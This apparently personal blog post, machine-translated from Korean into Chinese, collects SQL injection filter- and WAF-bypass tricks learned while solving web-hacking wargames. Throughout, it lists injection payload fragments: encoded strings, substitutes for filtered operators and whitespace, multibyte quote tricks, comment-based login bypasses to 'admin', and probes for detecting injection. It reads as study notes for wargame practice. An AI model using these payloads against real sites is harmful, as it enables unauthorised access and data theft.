Arang.dev
搜索

SQL Injection 绕过技术总结

通过解题 Web 攻防 Wargame 学到的 SQL Injection 绕过技术合集

#web-security#sql-injection#bypass#waf
🌐 已翻译

本文由 AI 从韩语机器翻译,部分表达可能与原文有所不同。

阅读原文(韩语)

打算整理一下至今为止在 Web 攻防 Wargame 解题过程中领悟(?)到的绕过技术。

因为都是凭记忆手动编写的,可能会有遗漏的部分。

想起来后我会再补充修改。

- or, and

: ||, &&

- 字符串过滤 (Ex. preg_match - admin 等)

: admin -> 0x61646d696e, 0b0110000101100100011011010110100101101110, char(0x61, 0x64, 0x6d, 0x69, 0x6e)

  • char() 的情况也可以使用其他进制

- Blind SQL Injection 时 '='(Equal) 过滤

: substr('abc',1,1)like('a'), if(strcmp(substr('abc',1,1),'a'),0,1), substr('abc',1,1)%20in('a')

- substr 过滤

: right(left('abc',1),1), id>0x41444d4941 ('ADMIN' 的 hex 值比 'ADMIA' 大)

- ereg, eregi

: 过滤 'admin' 时,可用 'AdmIN' 等形式绕过

: 在最前面插入 %00 时,后面的字符不会被过滤

- replace, replaceAll

: 过滤 'admin' 时,可用 'adadminmin' 等形式绕过

- 数字字符过滤

: 0 -> '!'='@'

: 1 -> '!'='!' 等,利用 true、false 及表达式来表示数字

- 空白字符过滤 (%20)

: %20 -> %0a %0b %0c %0d %09

- 单引号过滤 (%27)

: 在 Single Quote 内使用 Double quote 有时也能解决问题

: 特殊条件下,可通过 %bf%27 构造多字节 (Multibyte) 来绕过过滤(但这种情况很少见)

: 如果反斜杠 \ 字符未被过滤,在以下情况下可能绕过

ex. select test1 from test where id='' and pw='or 1#

-> parameter : id=&pw=%20or%201%23

- 注释

: #, --,;%00, /* */

- 利用注释进行 SQL Injection

: '#' 的注释范围是 1 行。因为换行的标准是 %0a,所以可以执行如下示例的 SQL Injection。

  • select test1 from test where id='abc'# and pw='%0aor id='admin'%23

: /* */

  • select test1 from test where id='abc'/* and pw=''*/or id='admin'%23

- Blind SQL Injection 时,子查询结果返回多行但无法使用 where 语句时

: max(column_name), min(column_name), group_concat(column_name)

- 需要获取表名、列名时

: select test1 from test where id='admin' and pw='1234' procedure analyse();

  • 配合 limit 2,1 等使用,可以将所需的列名在一行中提取出来

- 进行 Error Based SQL Injection 时

: 执行 0xfffffffffffff*0xfffffffffffff 会导致 Integer 范围溢出错误

- MultiByte Character SQL Injection

: 当 'test1' 字段的字符不是 ASCII 码而是多字节字符(ex. UTF-32 等)时,可以通过以下方法执行 SQL Injection。

  • substr(hex(test1),1,1)=0x41

※ 判断是否为 MultiByte Character 的方法:利用 '>' 和 '<' 寻找范围时,如果字符的范围出现在例如 20 和 21 之间(ASCII 字符的范围不会出现小数),则可以推测为多字节字符。

- 测试是否存在 SQL Injection 时

: 输入 ' (单引号) 时是否报错

: 输入 ' and '1'='1 时正常输出,而输入 ' and '1'='2 时不输出

: 输入 ' or '1'='1 时是否正常输出

: 针对数字构成的列 (ex. idx=23001),输入 idx=23002-1 时是否正常输出

: 输入 '||' 时是否正常输出 ( 限制条件:DB 为 Oracle 且数据类型声明为 Varchar 时 )

: 使用注释时:#(%23), -- (--%20), %0a

评论

正在加载评论...
SQL Injection 绕过技术总结 | Arang